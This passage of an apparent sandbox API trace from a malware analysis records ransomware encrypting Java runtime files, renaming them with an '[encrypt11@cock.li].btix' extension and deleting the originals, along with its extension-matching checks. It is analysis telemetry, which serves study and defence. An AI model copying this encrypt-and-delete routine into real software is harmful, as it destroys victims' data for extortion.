lpBuffer=0x4056020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x365fecc, lpOverlapped=0x0 | out: lpBuffer=0x4056020*, lpNumberOfBytesRead=0x365fecc*=0x997, lpOverlapped=0x0) returned 1 [0155.195] WriteFile (in: hFile=0x378, lpBuffer=0x4056020*, nNumberOfBytesToWrite=0x9a0, lpNumberOfBytesWritten=0x365fc94, lpOverlapped=0x0 | out: lpBuffer=0x4056020*, lpNumberOfBytesWritten=0x365fc94*=0x9a0, lpOverlapped=0x0) returned 1 [0155.196] ReadFile (in: hFile=0x374, lpBuffer=0x4056020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x365fecc, lpOverlapped=0x0 | out: lpBuffer=0x4056020*, lpNumberOfBytesRead=0x365fecc*=0x0, lpOverlapped=0x0) returned 1 [0155.196] WriteFile (in: hFile=0x378, lpBuffer=0x4056020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x365fc94, lpOverlapped=0x0 | out: lpBuffer=0x4056020*, lpNumberOfBytesWritten=0x365fc94*=0xf8, lpOverlapped=0x0) returned 1 [0155.196] SetEndOfFile (hFile=0x378) returned 1 [0155.196] CloseHandle (hObject=0x378) returned 1 [0155.196] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1 [0155.196] SetEndOfFile (hFile=0x374) returned 1 [0155.197] CloseHandle (hObject=0x374) returned 1 [0155.197] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\logging.properties.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0155.197] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\logging.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\logging.properties")) returned 1 [0155.197] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\logging.properties") returned 57 [0155.197] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\logging.properties") returned 57 [0155.197] lstrlenW (lpString=".doc") returned 4 [0155.197] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0155.197] lstrlenW (lpString=".docx") returned 5 [0155.197] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0155.197] lstrlenW (lpString=".pdf") returned 4 [0155.197] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0155.198] lstrlenW (lpString=".xls") returned 4 [0155.198] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0155.198] lstrlenW (lpString=".xlsx") returned 5 [0155.198] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0155.198] lstrlenW (lpString=".ppt") returned 4 [0155.198] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0155.198] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\logging.properties") returned 57 [0155.198] lstrlenW (lpString=".zip") returned 4 [0155.198] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0155.198] lstrlenW (lpString=".rar") returned 4 [0155.198] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0155.198] lstrlenW (lpString=".bz2") returned 4 [0155.198] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0155.198] lstrlenW (lpString=".7z") returned 3 [0155.198] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0155.198] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\logging.properties") returned 57 [0155.198] lstrlenW (lpString=".dbf") returned 4 [0155.198] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0155.198] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\logging.properties") returned 57 [0155.198] lstrlenW (lpString=".1cd") returned 4 [0155.198] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0155.198] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\logging.properties") returned 57 [0155.198] lstrlenW (lpString=".jpg") returned 4 [0155.198] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0155.198] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\logging.properties") returned 57 [0155.198] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\logging.properties") returned 57 [0155.198] lstrlenW (lpString=".doc") returned 4 [0155.198] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0155.198] lstrlenW (lpString=".docx") returned 5 [0155.198] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0155.198] lstrlenW (lpString=".pdf") returned 4 [0155.198] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0155.198] lstrlenW (lpString=".xls") returned 4 [0155.198] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0155.199] lstrlenW (lpString=".xlsx") returned 5 [0155.199] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0155.199] lstrlenW (lpString=".ppt") returned 4 [0155.199] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0155.199] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\logging.properties") returned 57 [0155.199] lstrlenW (lpString=".zip") returned 4 [0155.199] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0155.199] lstrlenW (lpString=".rar") returned 4 [0155.199] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0155.199] lstrlenW (lpString=".bz2") returned 4 [0155.199] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0155.199] lstrlenW (lpString=".7z") returned 3 [0155.199] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0155.199] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\logging.properties") returned 57 [0155.199] lstrlenW (lpString=".dbf") returned 4 [0155.199] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0155.199] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\logging.properties") returned 57 [0155.199] lstrlenW (lpString=".1cd") returned 4 [0155.199] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0155.199] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\logging.properties") returned 57 [0155.199] lstrlenW (lpString=".jpg") returned 4 [0155.199] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0155.199] lstrcmpiW (lpString1=".access", lpString2=".btix") returned -1 [0155.199] lstrlenW (lpString="jmxremote.access") returned 16 [0155.199] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.access" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\jmxremote.access"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0155.199] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x365ff14 | out: lpFileSize=0x365ff14*=3998) returned 1 [0155.200] CloseHandle (hObject=0x374) returned 1 [0155.200] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.access" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\jmxremote.access")) returned 0x20 [0155.200] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.access.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\jmxremote.access.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0155.200] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.access" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\jmxremote.access"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0155.200] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1 [0155.200] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1 [0155.200] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.access.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\jmxremote.access.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0155.200] GetLastError () returned 0x0 [0155.201] ReadFile (in: hFile=0x374, lpBuffer=0x4056020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x365fecc, lpOverlapped=0x0 | out: lpBuffer=0x4056020*, lpNumberOfBytesRead=0x365fecc*=0xf9e, lpOverlapped=0x0) returned 1 [0155.201] WriteFile (in: hFile=0x378, lpBuffer=0x4056020*, nNumberOfBytesToWrite=0xfa0, lpNumberOfBytesWritten=0x365fc94, lpOverlapped=0x0 | out: lpBuffer=0x4056020*, lpNumberOfBytesWritten=0x365fc94*=0xfa0, lpOverlapped=0x0) returned 1 [0155.202] ReadFile (in: hFile=0x374, lpBuffer=0x4056020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x365fecc, lpOverlapped=0x0 | out: lpBuffer=0x4056020*, lpNumberOfBytesRead=0x365fecc*=0x0, lpOverlapped=0x0) returned 1 [0155.202] WriteFile (in: hFile=0x378, lpBuffer=0x4056020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x365fc94, lpOverlapped=0x0 | out: lpBuffer=0x4056020*, lpNumberOfBytesWritten=0x365fc94*=0xf4, lpOverlapped=0x0) returned 1 [0155.202] SetEndOfFile (hFile=0x378) returned 1 [0155.202] CloseHandle (hObject=0x378) returned 1 [0155.202] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1 [0155.202] SetEndOfFile (hFile=0x374) returned 1 [0155.203] CloseHandle (hObject=0x374) returned 1 [0155.203] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.access.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0155.203] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.access" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\jmxremote.access")) returned 1 [0155.204] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.access") returned 66 [0155.204] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.access") returned 66 [0155.204] lstrlenW (lpString=".doc") returned 4 [0155.204] lstrcmpiW (lpString1=".doc", lpString2="cess") returned -1 [0155.204] lstrlenW (lpString=".docx") returned 5 [0155.204] lstrcmpiW (lpString1=".docx", lpString2="ccess") returned -1 [0155.204] lstrlenW (lpString=".pdf") returned 4 [0155.204] lstrcmpiW (lpString1=".pdf", lpString2="cess") returned -1 [0155.204] lstrlenW (lpString=".xls") returned 4 [0155.204] lstrcmpiW (lpString1=".xls", lpString2="cess") returned -1 [0155.204] lstrlenW (lpString=".xlsx") returned 5 [0155.204] lstrcmpiW (lpString1=".xlsx", lpString2="ccess") returned -1 [0155.204] lstrlenW (lpString=".ppt") returned 4 [0155.204] lstrcmpiW (lpString1=".ppt", lpString2="cess") returned -1 [0155.204] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.access") returned 66 [0155.204] lstrlenW (lpString=".zip") returned 4 [0155.204] lstrcmpiW (lpString1=".zip", lpString2="cess") returned -1 [0155.204] lstrlenW (lpString=".rar") returned 4 [0155.204] lstrcmpiW (lpString1=".rar", lpString2="cess") returned -1 [0155.204] lstrlenW (lpString=".bz2") returned 4 [0155.204] lstrcmpiW (lpString1=".bz2", lpString2="cess") returned -1 [0155.204] lstrlenW (lpString=".7z") returned 3 [0155.204] lstrcmpiW (lpString1=".7z", lpString2="ess") returned -1 [0155.204] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.access") returned 66 [0155.204] lstrlenW (lpString=".dbf") returned 4 [0155.204] lstrcmpiW (lpString1=".dbf", lpString2="cess") returned -1 [0155.205] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.access") returned 66 [0155.205] lstrlenW (lpString=".1cd") returned 4 [0155.205] lstrcmpiW (lpString1=".1cd", lpString2="cess") returned -1 [0155.205] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.access") returned 66 [0155.205] lstrlenW (lpString=".jpg") returned 4 [0155.205] lstrcmpiW (lpString1=".jpg", lpString2="cess") returned -1 [0155.205] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.access") returned 66 [0155.205] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.access") returned 66 [0155.205] lstrlenW (lpString=".doc") returned 4 [0155.205] lstrcmpiW (lpString1=".doc", lpString2="cess") returned -1 [0155.205] lstrlenW (lpString=".docx") returned 5 [0155.205] lstrcmpiW (lpString1=".docx", lpString2="ccess") returned -1 [0155.205] lstrlenW (lpString=".pdf") returned 4 [0155.205] lstrcmpiW (lpString1=".pdf", lpString2="cess") returned -1 [0155.205] lstrlenW (lpString=".xls") returned 4 [0155.205] lstrcmpiW (lpString1=".xls", lpString2="cess") returned -1 [0155.205] lstrlenW (lpString=".xlsx") returned 5 [0155.205] lstrcmpiW (lpString1=".xlsx", lpString2="ccess") returned -1 [0155.205] lstrlenW (lpString=".ppt") returned 4 [0155.205] lstrcmpiW (lpString1=".ppt", lpString2="cess") returned -1 [0155.205] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.access") returned 66 [0155.205] lstrlenW (lpString=".zip") returned 4 [0155.205] lstrcmpiW (lpString1=".zip", lpString2="cess") returned -1 [0155.205] lstrlenW (lpString=".rar") returned 4 [0155.205] lstrcmpiW (lpString1=".rar", lpString2="cess") returned -1 [0155.205] lstrlenW (lpString=".bz2") returned 4 [0155.205] lstrcmpiW (lpString1=".bz2", lpString2="cess") returned -1 [0155.205] lstrlenW (lpString=".7z") returned 3 [0155.205] lstrcmpiW (lpString1=".7z", lpString2="ess") returned -1 [0155.205] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.access") returned 66 [0155.205] lstrlenW (lpString=".dbf") returned 4 [0155.205] lstrcmpiW (lpString1=".dbf", lpString2="cess") returned -1 [0155.205] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.access") returned 66 [0155.205] lstrlenW (lpString=".1cd") returned 4 [0155.206] lstrcmpiW (lpString1=".1cd", lpString2="cess") returned -1 [0155.206] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.access") returned 66 [0155.206] lstrlenW (lpString=".jpg") returned 4 [0155.206] lstrcmpiW (lpString1=".jpg", lpString2="cess") returned -1 [0155.206] lstrcmpiW (lpString1=".template", lpString2=".btix") returned 1 [0155.206] lstrlenW (lpString="jmxremote.password.template") returned 27 [0155.206] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0155.206] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x365ff14 | out: lpFileSize=0x365ff14*=2856) returned 1 [0155.206] CloseHandle (hObject=0x374) returned 1 [0155.206] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template")) returned 0x20 [0155.206] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0155.206] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0155.206] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1 [0155.206] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1 [0155.207] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0155.207] GetLastError () returned 0x0 [0155.207] ReadFile (in: hFile=0x374, lpBuffer=0x4056020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x365fecc, lpOverlapped=0x0 | out: lpBuffer=0x4056020*, lpNumberOfBytesRead=0x365fecc*=0xb28, lpOverlapped=0x0) returned 1 [0155.208] WriteFile (in: hFile=0x378, lpBuffer=0x4056020*, nNumberOfBytesToWrite=0xb30, lpNumberOfBytesWritten=0x365fc94, lpOverlapped=0x0 | out: lpBuffer=0x4056020*, lpNumberOfBytesWritten=0x365fc94*=0xb30, lpOverlapped=0x0) returned 1 [0155.208] ReadFile (in: hFile=0x374, lpBuffer=0x4056020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x365fecc, lpOverlapped=0x0 | out: lpBuffer=0x4056020*, lpNumberOfBytesRead=0x365fecc*=0x0, lpOverlapped=0x0) returned 1 [0155.208] WriteFile (in: hFile=0x378, lpBuffer=0x4056020*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x365fc94, lpOverlapped=0x0 | out: lpBuffer=0x4056020*, lpNumberOfBytesWritten=0x365fc94*=0x10a, lpOverlapped=0x0) returned 1 [0155.208] SetEndOfFile (hFile=0x378) returned 1 [0155.209] CloseHandle (hObject=0x378) returned 1 [0155.209] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1 [0155.209] SetEndOfFile (hFile=0x374) returned 1 [0155.209] CloseHandle (hObject=0x374) returned 1 [0155.209] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0155.210] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template")) returned 1 [0155.210] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template") returned 77 [0155.210] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template") returned 77 [0155.210] lstrlenW (lpString=".doc") returned 4 [0155.210] lstrcmpiW (lpString1=".doc", lpString2="late") returned -1 [0155.210] lstrlenW (lpString=".docx") returned 5 [0155.210] lstrcmpiW (lpString1=".docx", lpString2="plate") returned -1 [0155.210] lstrlenW (lpString=".pdf") returned 4 [0155.210] lstrcmpiW (lpString1=".pdf", lpString2="late") returned -1 [0155.210] lstrlenW (lpString=".xls") returned 4 [0155.210] lstrcmpiW (lpString1=".xls", lpString2="late") returned -1 [0155.210] lstrlenW (lpString=".xlsx") returned 5 [0155.210] lstrcmpiW (lpString1=".xlsx", lpString2="plate") returned -1 [0155.210] lstrlenW (lpString=".ppt") returned 4 [0155.210] lstrcmpiW (lpString1=".ppt", lpString2="late") returned -1 [0155.210] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template") returned 77 [0155.210] lstrlenW (lpString=".zip") returned 4 [0155.210] lstrcmpiW (lpString1=".zip", lpString2="late") returned -1 [0155.210] lstrlenW (lpString=".rar") returned 4 [0155.210] lstrcmpiW (lpString1=".rar", lpString2="late") returned -1 [0155.210] lstrlenW (lpString=".bz2") returned 4 [0155.210] lstrcmpiW (lpString1=".bz2", lpString2="late") returned -1 [0155.210] lstrlenW (lpString=".7z") returned 3 [0155.211] lstrcmpiW (lpString1=".7z", lpString2="ate") returned -1 [0155.211] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template") returned 77 [0155.211] lstrlenW (lpString=".dbf") returned 4 [0155.211] lstrcmpiW (lpString1=".dbf", lpString2="late") returned -1 [0155.211] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template") returned 77 [0155.211] lstrlenW (lpString=".1cd") returned 4 [0155.211] lstrcmpiW (lpString1=".1cd", lpString2="late") returned -1 [0155.211] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template") returned 77 [0155.211] lstrlenW (lpString=".jpg") returned 4 [0155.211] lstrcmpiW (lpString1=".jpg", lpString2="late") returned -1 [0155.211] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template") returned 77 [0155.211] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template") returned 77 [0155.211] lstrlenW (lpString=".doc") returned 4 [0155.211] lstrcmpiW (lpString1=".doc", lpString2="late") returned -1 [0155.211] lstrlenW (lpString=".docx") returned 5 [0155.211] lstrcmpiW (lpString1=".docx", lpString2="plate") returned -1 [0155.211] lstrlenW (lpString=".pdf") returned 4 [0155.211] lstrcmpiW (lpString1=".pdf", lpString2="late") returned -1 [0155.211] lstrlenW (lpString=".xls") returned 4 [0155.211] lstrcmpiW (lpString1=".xls", lpString2="late") returned -1 [0155.211] lstrlenW (lpString=".xlsx") returned 5 [0155.211] lstrcmpiW (lpString1=".xlsx", lpString2="plate") returned -1 [0155.211] lstrlenW (lpString=".ppt") returned 4 [0155.211] lstrcmpiW (lpString1=".ppt", lpString2="late") returned -1 [0155.211] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template") returned 77 [0155.211] lstrlenW (lpString=".zip") returned 4 [0155.211] lstrcmpiW (lpString1=".zip", lpString2="late") returned -1 [0155.211] lstrlenW (lpString=".rar") returned 4 [0155.211] lstrcmpiW (lpString1=".rar", lpString2="late") returned -1 [0155.211] lstrlenW (lpString=".bz2") returned 4 [0155.211] lstrcmpiW (lpString1=".bz2", lpString2="late") returned -1 [0155.211] lstrlenW (lpString=".7z") returned 3 [0155.211] lstrcmpiW (lpString1=".7z", lpString2="ate") returned -1 [0155.211] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template") returned 77 [0155.212] lstrlenW (lpString=".dbf") returned 4 [0155.212] lstrcmpiW (lpString1=".dbf", lpString2="late") returned -1 [0155.212] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template") returned 77 [0155.212] lstrlenW (lpString=".1cd") returned 4 [0155.212] lstrcmpiW (lpString1=".1cd", lpString2="late") returned -1 [0155.212] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template") returned 77 [0155.212] lstrlenW (lpString=".jpg") returned 4 [0155.212] lstrcmpiW (lpString1=".jpg", lpString2="late") returned -1 [0155.212] lstrcmpiW (lpString1=".properties", lpString2=".btix") returned 1 [0155.212] lstrlenW (lpString="management.properties") returned 21 [0155.212] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\management.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\management.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0155.212] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x365ff14 | out: lpFileSize=0x365ff14*=14630) returned 1 [0155.212] CloseHandle (hObject=0x374) returned 1 [0155.212] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\management.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\management.properties")) returned 0x20 [0155.212] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\management.properties.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\management.properties.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0155.212] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\management.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\management.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0155.212] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1 [0155.213] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1 [0155.213] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\management.properties.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\management.properties.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0155.213] GetLastError () returned 0x0 [0155.213] ReadFile (in: hFile=0x374, lpBuffer=0x4056020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x365fecc, lpOverlapped=0x0 | out: lpBuffer=0x4056020*, lpNumberOfBytesRead=0x365fecc*=0x3926, lpOverlapped=0x0) returned 1 [0155.214] WriteFile (in: hFile=0x378, lpBuffer=0x4056020*, nNumberOfBytesToWrite=0x3930, lpNumberOfBytesWritten=0x365fc94, lpOverlapped=0x0 | out: lpBuffer=0x4056020*, lpNumberOfBytesWritten=0x365fc94*=0x3930, lpOverlapped=0x0) returned 1 [0155.215] ReadFile (in: hFile=0x374, lpBuffer=0x4056020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x365fecc, lpOverlapped=0x0 | out: lpBuffer=0x4056020*, lpNumberOfBytesRead=0x365fecc*=0x0, lpOverlapped=0x0) returned 1 [0155.215] WriteFile (in: hFile=0x378, lpBuffer=0x4056020*, nNumberOfBytesToWrite=0xfe, lpNumberOfBytesWritten=0x365fc94, lpOverlapped=0x0 | out: lpBuffer=0x4056020*, lpNumberOfBytesWritten=0x365fc94*=0xfe, lpOverlapped=0x0) returned 1 [0155.215] SetEndOfFile (hFile=0x378) returned 1 [0155.215] CloseHandle (hObject=0x378) returned 1 [0155.215] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1 [0155.215] SetEndOfFile (hFile=0x374) returned 1 [0155.216] CloseHandle (hObject=0x374) returned 1 [0155.216] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\management.properties.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0155.216] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\management.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\management.properties")) returned 1 [0155.216] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\management.properties") returned 71 [0155.216] lstrlenW 